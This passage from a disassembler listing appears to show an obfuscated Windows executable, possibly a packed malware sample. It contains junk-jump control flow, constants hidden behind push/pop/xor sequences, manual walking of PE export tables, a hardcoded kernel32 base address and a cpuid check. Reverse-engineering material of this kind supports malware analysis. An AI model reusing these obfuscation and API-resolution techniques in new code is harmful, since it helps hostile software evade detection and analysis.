loc_40677F:				; CODE XREF: _837l4vi2:0041023Cj
		test	eax, 73AEC18Eh
		jmp	loc_40D879
; ---------------------------------------------------------------------------


loc_40678A:				; DATA XREF: sub_40892F:loc_4079F9o
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_406D58
		jz	loc_40C48D
		mov	eax, [ebp-4]
		inc	eax
		call	sub_40AFF0
; START	OF FUNCTION CHUNK FOR sub_41018A


loc_4067A7:				; CODE XREF: sub_41018A+Dj
		jmp	loc_405737
; END OF FUNCTION CHUNK	FOR sub_41018A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408567


loc_4067AC:				; CODE XREF: sub_407FEA:loc_405449j
					; sub_408567+2854j
		jmp	loc_40DCBC
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
		adc	edi, 22B1CACFh
		jo	loc_410C2D
		jmp	sub_407392
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B088


loc_4067C2:				; CODE XREF: sub_40B088+7CCj
		lea	edx, [ebp-14h]
		mov	eax, (offset loc_406B8B+1)
		call	sub_40FFAC


loc_4067CF:				; CODE XREF: sub_4065B8+95A5j
		cmp	eax, 0BD6940F6h
		jmp	loc_409D1E
; END OF FUNCTION CHUNK	FOR sub_40B088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_4067DA:				; CODE XREF: sub_40DFF5:loc_410E1Aj
		call	sub_40E739
		push	eax
		rol	eax, 11h
		mov	ds:dword_40DF10, eax

locret_4067E9:				; CODE XREF: _837l4vi2:loc_40FC76j
		retn
; ---------------------------------------------------------------------------


loc_4067EA:				; CODE XREF: sub_40DFF5-4124j
					; _837l4vi2:0040C3D7j
		ror	eax, 11h
		push	eax
		call	sub_40B99D
		jmp	loc_406532
; END OF FUNCTION CHUNK	FOR sub_40DFF5

; =============== S U B	R O U T	I N E =======================================



sub_4067F8	proc near		; CODE XREF: _837l4vi2:00407B8Bp

; FUNCTION CHUNK AT 00406632 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA16 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E4D4 SIZE 0000000A BYTES

		mov	[esp+0], eax
		call	sub_40F642
		push	edx
		push	44B5A3D0h
		pop	edx
		xor	edx, 0BB4A5C2Fh
		cmp	eax, edx
		jmp	loc_406632
sub_4067F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_406814:				; CODE XREF: sub_40D74E:loc_406AB3j
					; sub_4061B1+2757j
		call	sub_40B088
		mov	edx, 19CFC62Bh
		push	esi
		call	sub_408186


loc_406824:				; CODE XREF: _837l4vi2:00406A93j
		jmp	loc_407485
; END OF FUNCTION CHUNK	FOR sub_4061B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FCC8


loc_40682A:				; CODE XREF: sub_40FCC8+10j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_40FCC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C94E


loc_40682F:				; CODE XREF: sub_40C94E+3EFj
		jmp	loc_4074C1
; END OF FUNCTION CHUNK	FOR sub_40C94E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406834	proc near		; CODE XREF: sub_40B7A1j

var_1C8		= byte ptr -1C8h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00405F60 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00406BA3 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 004076DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004081E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040A1A8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040C8CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D1A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040E493 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_41000C
		or	eax, eax
		jmp	loc_4081E1
sub_406834	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409127


loc_406847:				; CODE XREF: sub_409127:loc_407978j
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_406849:				; CODE XREF: sub_409127:loc_40D9B0j
		mov	eax, ds:dword_40AB9C
		mov	edx, [ebp-4]
		jmp	loc_406596
; END OF FUNCTION CHUNK	FOR sub_409127
; ---------------------------------------------------------------------------


loc_406856:				; CODE XREF: _837l4vi2:loc_4080EEj
		jnz	loc_410B4E
		jmp	loc_410034
; ---------------------------------------------------------------------------
		mov	edx, 24CC2B1h
		call	sub_40E739
		pushf
		mov	[esp], eax
		rol	eax, 0Eh
		mov	ds:dword_40AB90, eax
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACF2


loc_406879:				; CODE XREF: sub_40ACF2-2332j
		jmp	loc_40AD06
; END OF FUNCTION CHUNK	FOR sub_40ACF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40687E:				; CODE XREF: sub_40E3C8-4411j
		adc	ebx, 0C3C659FFh


loc_406884:				; CODE XREF: sub_40E3C8:loc_409054j
		call	sub_40B088
		push	316DAD5Bh
		pop	edx
		xor	edx, 385362D7h
		and	edx, 0C8A1D003h
		xor	edx, 6CCF69EDh
		call	sub_40E739
		jmp	loc_405141
; END OF FUNCTION CHUNK	FOR sub_40E3C8

; =============== S U B	R O U T	I N E =======================================



sub_4068AB	proc near		; CODE XREF: sub_407756:loc_40D15Fp

; FUNCTION CHUNK AT 0040A304 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040D026 SIZE 00000005 BYTES

		mov	[esp+0], eax
		jmp	loc_40D026
sub_4068AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409B39


loc_4068B3:				; CODE XREF: sub_409B39j
		call	sub_40778E
; END OF FUNCTION CHUNK	FOR sub_409B39
; START	OF FUNCTION CHUNK FOR sub_407287


loc_4068B8:				; CODE XREF: sub_407287+734Aj
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_407287

; =============== S U B	R O U T	I N E =======================================



sub_4068BD	proc near		; CODE XREF: _837l4vi2:00407B7Ej
					; sub_40926F+63ECp

; FUNCTION CHUNK AT 00408FB9 SIZE 00000006 BYTES

		mov	[esp+0], ebx
		pop	ebx
		dec	dword ptr [ebp-1Ch]
		jnz	loc_408FB9
		jmp	loc_40F651
sub_4068BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_4068CF:				; CODE XREF: sub_4108AF-1EE8j
		jnz	loc_40553D
		jmp	loc_4054DD
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
		jbe	loc_40F0A5
		sbb	edx, ebx
		jmp	sub_40DDCA

; =============== S U B	R O U T	I N E =======================================



sub_4068E7	proc near		; CODE XREF: _837l4vi2:00407636p
					; _837l4vi2:00409180j
		mov	[esp+0], eax
		pop	eax
		push	eax
sub_4068E7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4059FC


loc_4068EC:				; CODE XREF: sub_4059FC-26Aj
		call	sub_407AA4
		jmp	loc_40606D
; END OF FUNCTION CHUNK	FOR sub_4059FC
; ---------------------------------------------------------------------------


loc_4068F6:				; CODE XREF: _837l4vi2:004080A0j
		jb	loc_409961
		add	edx, ecx
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4068FE:				; CODE XREF: sub_40AA44:loc_40808Cj
		rol	ecx, 0Ah
		add	ecx, 8026A3D0h
		xchg	ecx, [esp+0]
		jmp	loc_41012C
; END OF FUNCTION CHUNK	FOR sub_40AA44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_406910:				; CODE XREF: sub_40E3C8:loc_40DD82j
		call	sub_4097D5
		test	al, al
		jz	loc_40D729
		jmp	loc_40C1FB
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_406922:				; CODE XREF: sub_40AE2D:loc_40A5E7j
		test	edx, edi
		jmp	loc_40E7C4
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4103D0


loc_406929:				; CODE XREF: sub_4103D0+Cj
		pop	ebp
		mov	eax, ds:dword_406510
		or	eax, eax
		jnz	loc_410B4E
		jmp	loc_4074F6
; END OF FUNCTION CHUNK	FOR sub_4103D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_40693D:				; CODE XREF: sub_40D74E:loc_410A9Dj
		or	eax, eax
		jnz	loc_40FB49
		jmp	loc_406AB3
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_40694A:				; CODE XREF: sub_4072E4:loc_409682j
		pop	eax
		sub	eax, 2B90698Eh
		and	eax, 4261C942h
		add	eax, 0C253CFEDh
		add	eax, ebp
		add	eax, 0FB8A9ECDh


loc_406965:				; CODE XREF: sub_40966E+E35j
		jmp	loc_40DF2C
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
		jns	loc_409971
		popf
		jmp	sub_40B77A
; ---------------------------------------------------------------------------


loc_406976:				; CODE XREF: _837l4vi2:0040E959j
		pushf
		mov	[esp], eax
		push	4
		push	ecx
		push	33AEC2CCh
		pop	ecx
		jmp	loc_411012
; ---------------------------------------------------------------------------


loc_406988:				; CODE XREF: _837l4vi2:0040F39Dj
		adc	ecx, edx

; =============== S U B	R O U T	I N E =======================================



sub_40698A	proc near		; CODE XREF: sub_40611B:loc_407D8Dp
					; _837l4vi2:loc_4104DDj

; FUNCTION CHUNK AT 0040BF2D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040E7DF SIZE 00000002 BYTES

		mov	[esp+0], edi
		pop	edi
		pop	ecx
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		mov	[ebp-0Ch], eax
		jmp	loc_40BF2D
sub_40698A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407D7F


loc_4069A0:				; CODE XREF: sub_407D7F:loc_40B5F0j
		push	offset loc_407FDB
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_407D7F

; =============== S U B	R O U T	I N E =======================================



sub_4069AA	proc near		; CODE XREF: startj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040A794 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DF62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F6A8 SIZE 0000000E BYTES

		xchg	edx, ebx
		push	ebx
		xchg	edx, ebx
		push	0F49C1E95h
		pop	edx
		sub	edx, 9C4BBE4Dh
		jmp	loc_40A794
sub_4069AA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A526


loc_4069C0:				; CODE XREF: sub_40A526+4A94j
		call	sub_407D7F
		jnz	loc_40EFA5
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_40E5BE
		mov	ebx, [ebx+ecx]
		jmp	loc_4055C8
; END OF FUNCTION CHUNK	FOR sub_40A526
; ---------------------------------------------------------------------------

locret_4069DF:				; CODE XREF: _837l4vi2:loc_406B81j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_4069E0:				; CODE XREF: sub_40CAD0-2019j
		jmp	sub_40F9ED
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5DF


loc_4069E5:				; CODE XREF: sub_40C5DF:loc_40E548j
		push	eax
		rol	eax, 0Eh
		push	edi
		push	0E5361178h
		pop	edi
		jmp	loc_40C91F
; END OF FUNCTION CHUNK	FOR sub_40C5DF

; =============== S U B	R O U T	I N E =======================================



sub_4069F5	proc near		; CODE XREF: sub_40B250+4p
					; _837l4vi2:0040CCE4j

; FUNCTION CHUNK AT 00407B9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407D72 SIZE 0000000D BYTES

		mov	[esp+0], edx
		pop	edx
		or	ecx, ecx
		jz	loc_40EB2A
		call	sub_407D7F
		jmp	loc_407B9F
sub_4069F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FB01


loc_406A0B:				; CODE XREF: sub_40FB01+4j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_407B59
; END OF FUNCTION CHUNK	FOR sub_40FB01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_406A17:				; CODE XREF: _837l4vi2:loc_409AD9j
					; sub_40D735:loc_40C580j
		jz	loc_406248
		jmp	loc_40D769
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	edi, 336C0D51h
		jmp	loc_40D235
; ---------------------------------------------------------------------------


loc_406A2E:				; DATA XREF: sub_40ECAA+Co
		xchg	edx, [esp]
		jmp	sub_40B088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104F4


loc_406A36:				; CODE XREF: sub_4104F4:loc_4109DCj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_410F06
		push	edx
		push	5903D86h
		pop	edx
		and	edx, 69EF9DA6h
		jmp	loc_407BAF
; END OF FUNCTION CHUNK	FOR sub_4104F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405752


loc_406A52:				; CODE XREF: sub_405752+Aj
		mov	[esp+8+var_8], ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_41104C
		call	sub_40A050
; END OF FUNCTION CHUNK	FOR sub_405752

; =============== S U B	R O U T	I N E =======================================



sub_406A63	proc near		; CODE XREF: sub_4065B8:loc_405713p
					; _837l4vi2:004101A8j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040D301 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		push	0EB665CBh
		pop	eax
		rol	eax, 0Ah
		add	eax, 26A98870h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_40D301
sub_406A63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_406A7E:				; CODE XREF: _837l4vi2:0041071Bj
		pop	ebx
		push	eax
		mov	edx, 0FFFFFFFFh
		push	18AC34B7h
		mov	[esp], edx
		push	eax
		call	sub_40E927
		jmp	loc_406824
; ---------------------------------------------------------------------------


loc_406A98:				; DATA XREF: sub_40A915+531Fo
		add	edx, ebp
		call	sub_408B48


loc_406A9F:				; DATA XREF: sub_40926F:loc_40ADC0o
		cmp	byte ptr [eax],	0CFh
		jz	loc_40E98C
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E9h
		jmp	loc_405B5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_406AB3:				; CODE XREF: sub_40D74E-6E09j
		jz	loc_406814
		jmp	loc_405E08
; END OF FUNCTION CHUNK	FOR sub_40D74E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FA97


loc_406ABE:				; CODE XREF: sub_40FA97+Aj
		push	19B1F1ECh
		xchg	ebp, [esp+4+var_4]
		mov	eax, ebp
		pop	ebp
		add	eax, 9DCBA89Bh
		rol	eax, 14h
		call	sub_40CA5A
; END OF FUNCTION CHUNK	FOR sub_40FA97
; START	OF FUNCTION CHUNK FOR sub_405C17


loc_406AD7:				; CODE XREF: sub_405C17+8C29j
		jmp	loc_40EAF4
; END OF FUNCTION CHUNK	FOR sub_405C17

; =============== S U B	R O U T	I N E =======================================



sub_406ADC	proc near		; CODE XREF: _837l4vi2:00405E1Cj
					; _837l4vi2:0040C826p

; FUNCTION CHUNK AT 00405EC3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004065E3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040782E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00407DB3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00407E92 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00409186 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004099D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409BB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A7AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AA22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040AA3A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AACA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040F1E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F460 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F769 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FD91 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00411044 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		test	al, al
		jz	loc_405EC3
		push	ecx
		jmp	loc_4099D0
sub_406ADC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_406AEE:				; CODE XREF: _837l4vi2:0040DFBCj
		cdq
		jmp	loc_40736E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_406AF4:				; CODE XREF: sub_40966E:loc_4082FDj
		test	byte ptr [ebp-7], 8
		jz	loc_410328
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_4089C5
		pop	ecx
		mov	[ebp-20h], eax


loc_406B0B:				; CODE XREF: sub_40DB41:loc_40B4D0j
					; sub_40DB41-265Ej ...
		call	sub_407287


loc_406B10:				; CODE XREF: sub_41021D+18j
		jmp	loc_410EDB
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B4E8


loc_406B15:				; CODE XREF: sub_40B4E8+1060j
		jmp	locret_4090C9
; END OF FUNCTION CHUNK	FOR sub_40B4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7DE


loc_406B1A:				; CODE XREF: sub_40B7DE+13j
		jmp	loc_409F94
; END OF FUNCTION CHUNK	FOR sub_40B7DE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_406B20:				; CODE XREF: sub_40C805-4614j
		jz	loc_410E4A
		jmp	loc_40A46D
; END OF FUNCTION CHUNK	FOR sub_40C805
; ---------------------------------------------------------------------------


loc_406B2B:				; CODE XREF: _837l4vi2:loc_40F45Bj
		add	eax, 0EE37F61Ah
		popf
		xchg	eax, [esp]
		jmp	sub_40E13A
; ---------------------------------------------------------------------------
		push	0A6F49B14h
		jmp	loc_40C0F8
; ---------------------------------------------------------------------------
dword_406B44	dd 7C900000h						; sub_4059FC:loc_4077BDr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408A93


loc_406B48:				; CODE XREF: sub_408A93+396Aj
		jmp	loc_40DC8A
; END OF FUNCTION CHUNK	FOR sub_408A93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_406B4D:				; CODE XREF: sub_40E6CD-4A17j
		jmp	loc_408994
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
		dw 8ABEh
dword_406B54	dd 0							; sub_407AA4:loc_40D8EAr ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FD34


loc_406B58:				; CODE XREF: sub_40FD34+9j
		jmp	loc_40741B
; END OF FUNCTION CHUNK	FOR sub_40FD34
; ---------------------------------------------------------------------------
		db 41h,	67h, 24h
dword_406B60	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_407AA4-19A1r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_406B64:				; CODE XREF: sub_40B859+FE8j
		jmp	loc_40E803
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
		db 1Dh,	3Ah, 69h
		dd 0			; DATA XREF: sub_40B088+7B5o
					; sub_40C255+3o ...
; ---------------------------------------------------------------------------


loc_406B70:				; CODE XREF: _837l4vi2:0040816Cj
		jmp	locret_40535D
; ---------------------------------------------------------------------------
		db 0CEh, 8Fh, 7Dh
dword_406B78	dd 7C800000h						; sub_40C255+Dr ...
; ---------------------------------------------------------------------------


loc_406B7C:				; CODE XREF: _837l4vi2:0040FE21j
		jmp	locret_40ED80
; ---------------------------------------------------------------------------


loc_406B81:				; CODE XREF: _837l4vi2:0040E1B0j
		jmp	locret_4069DF
; ---------------------------------------------------------------------------


loc_406B86:				; CODE XREF: _837l4vi2:0040D542j
		jmp	loc_40FE88
; ---------------------------------------------------------------------------


loc_406B8B:				; DATA XREF: sub_40B088-48C3o
					; sub_40C255:loc_41080Bo
		sal	dword ptr [ebp+596E39CAh], 8Dh
		xor	ebx, [ecx]
		mov	eax, 363619h
; START	OF FUNCTION CHUNK FOR sub_405723


loc_406B99:				; CODE XREF: sub_405723+6173j
		jmp	loc_406748
; END OF FUNCTION CHUNK	FOR sub_405723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C85D


loc_406B9E:				; CODE XREF: sub_40C85D-6828j
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_40C85D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_406BA3:				; CODE XREF: sub_406834+3987j
		call	sub_40FD34


loc_406BA8:				; CODE XREF: sub_410A02+1Bj
		jnz	loc_40B814


loc_406BAE:				; CODE XREF: sub_40966E:loc_40E477j
					; sub_40966E:loc_40F926j ...
		jz	loc_405F6F
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-10h], 38h
		jnz	loc_40B814
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		jmp	loc_40C8CC
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4052A5


loc_406BCD:				; CODE XREF: sub_4052A5:loc_407168j
		jnz	loc_40F6ED
		jmp	loc_40835A
; END OF FUNCTION CHUNK	FOR sub_4052A5
; ---------------------------------------------------------------------------


loc_406BD8:				; DATA XREF: sub_40D908+6o
		mov	eax, [ebp+8]
		push	esi
		push	0B37CA071h
		pop	esi
		and	esi, 3152C9Dh
		jmp	loc_40B6FE
; ---------------------------------------------------------------------------


loc_406BED:				; CODE XREF: _837l4vi2:loc_40E87Dj
		ja	loc_41046C
		jmp	loc_40A19D

; =============== S U B	R O U T	I N E =======================================



sub_406BF8	proc near		; CODE XREF: sub_405971+Ep
					; _837l4vi2:00407812j

; FUNCTION CHUNK AT 00405D71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00406C68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407F49 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0040B51E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CDFD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040DE5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ED44 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00410025 SIZE 00000005 BYTES

		mov	[esp+0], eax


loc_406BFB:				; CODE XREF: sub_40AE2D:loc_40E7C4j
		pop	eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_407F8D


loc_406C06:				; CODE XREF: sub_405D62+4j
					; sub_407F76+11j
		js	loc_407F54
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_40ED44
		mov	eax, 6
		jmp	loc_410025
sub_406BF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_406C20:				; CODE XREF: sub_40CAD0:loc_40A622j
		add	eax, ebp
		add	eax, 96A51C11h
		xor	edx, edx
		call	sub_40E13A
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; START	OF FUNCTION CHUNK FOR sub_408567


loc_406C2F:				; CODE XREF: sub_408567+Dj
					; _837l4vi2:00409884j
		mov	eax, ds:dword_40D3E0
		jmp	loc_40739E
; END OF FUNCTION CHUNK	FOR sub_408567
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_406C39:				; CODE XREF: sub_40BDE4:loc_4072A9j
					; sub_40E294:loc_409D9Aj ...
		jmp	loc_4054BF
; END OF FUNCTION CHUNK	FOR sub_40E294

; =============== S U B	R O U T	I N E =======================================



sub_406C3E	proc near		; CODE XREF: _837l4vi2:00405FCDj
					; sub_40BDE4:loc_40BDE9j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00405718 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040655B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004088EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00408DD5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409B10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409EF4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040C39C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040E9E7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0041015B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00410E9A SIZE 0000000E BYTES

		push	ebp
		mov	[esp+4+var_4], eax
		push	84D73236h
		pop	eax
		sub	eax, 2BCE7B11h
		test	eax, 4000h
		jmp	loc_405718
sub_406C3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405C5C


loc_406C59:				; CODE XREF: sub_405C5C:loc_40DB6Fj
		ror	eax, 1Ah
		push	eax
		call	sub_40B99D
		retn
; END OF FUNCTION CHUNK	FOR sub_405C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410A22


loc_406C63:				; CODE XREF: sub_410A22+7j
		jmp	sub_40D92B
; END OF FUNCTION CHUNK	FOR sub_410A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406BF8


loc_406C68:				; CODE XREF: sub_406BF8+815Bj
		jmp	loc_40DE5D
; END OF FUNCTION CHUNK	FOR sub_406BF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_406C6D:				; CODE XREF: sub_40892F+61E5j
		jmp	loc_40D6AB
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B8AE


loc_406C72:				; CODE XREF: sub_40B8AE+Ej
		jmp	loc_40F232
; END OF FUNCTION CHUNK	FOR sub_40B8AE

; =============== S U B	R O U T	I N E =======================================



sub_406C77	proc near		; CODE XREF: sub_40F030:loc_407C82j
					; sub_405C37:loc_40F9F7j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00407878 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409971 SIZE 00000010 BYTES

		push	ebp


loc_406C78:				; CODE XREF: _837l4vi2:loc_4086CDj
		jmp	loc_409971
sub_406C77	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C7D	proc near		; CODE XREF: sub_409D6B-1F7p
					; _837l4vi2:0040CC69j

; FUNCTION CHUNK AT 00405146 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040559A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00405ABD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00405C1F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00406380 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00408AD5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040985E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AA6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ACAC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040B00E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040D6F4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DBA8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E22B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EC5D SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi
		cpuid
		cmp	eax, 80000000h
		jmp	loc_40D6F4
sub_406C7D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406C8D	proc near		; DATA XREF: _837l4vi2:004074B7o

; FUNCTION CHUNK AT 00410AA2 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		jmp	loc_410AA2
sub_406C8D	endp

; ---------------------------------------------------------------------------
